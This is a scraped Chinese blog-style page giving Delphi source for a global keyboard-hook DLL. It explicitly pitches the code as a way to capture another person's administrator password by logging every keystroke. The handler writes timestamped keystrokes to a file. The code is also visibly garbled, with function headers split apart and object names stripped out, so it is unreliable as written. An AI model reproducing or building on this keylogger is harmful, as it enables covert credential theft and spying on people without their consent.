admin管理员组

文章数量:1535448

2024年6月8日发(作者:)

Delphi编程使用HOOK监视Windows,如果你需要访问某个人的机器,那在运行SB之后那个人就会在

你机器上敲入他的adminsitrator密码,当然,你也可以使用黑客工具来得到他的密码,但是,为什么不

自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点,Hook不同于一般的应用程序,需要作为一个全局DLL出现,否则无法在你程序

不激活的状态捕获其他信息的,(当然你可以用Windows消息,这个问题不在这里讨论)。

写个DLL定义一下函数

function setkeyhook:bool;export;

function endkeyhook:bool;export;

procedure keyhookexit;far;

procedure SetMainHandle(Handle: HWND); export;forward;

t;

procedure EntryPointProc(Reason: Integer);

const

hMapObject: THandle = 0;

begin

case reason of

DLL_PROCESS_ATTACH:

begin

hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0,

SizeOf(THookRec), ’_CBT’);

rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);

end;

DLL_PROCESS_DETACH:

begin

try

UnMapViewOfFile(rHookRec);

CloseHandle(hMapObject);

except

end;

end;

end;

end;

procedure keyhookexit;far;

begin

if hNexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit;

end;

function endkeyhook:bool;export;

function

keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;expor

begin

if hNexthookproc<>0 then

begin

unhookwindowshookex(hNexthookproc);

hNexthookproc:=0;

messagebeep(0);

end;

result:=hNexthookproc=0;

MainHandle:=0;

end;

function Setkeyhook:bool;export;

begin

hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);

result:=hNexthookproc<>0;

end;

t;

var

s:Tstringlist;

begin

if icode<0 then

begin

result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);

exit;

end;

if lparam<0 then

begin

exit;

end;

s:=;

if FileExists(afilename) then

omFile(afilename);

//将敲打的键盘字符保存到文件中

(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) + char(wParam) );

File(afilename);

;

result:=0;

end;

function

keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;expor

本文标签: 键盘需要问题使用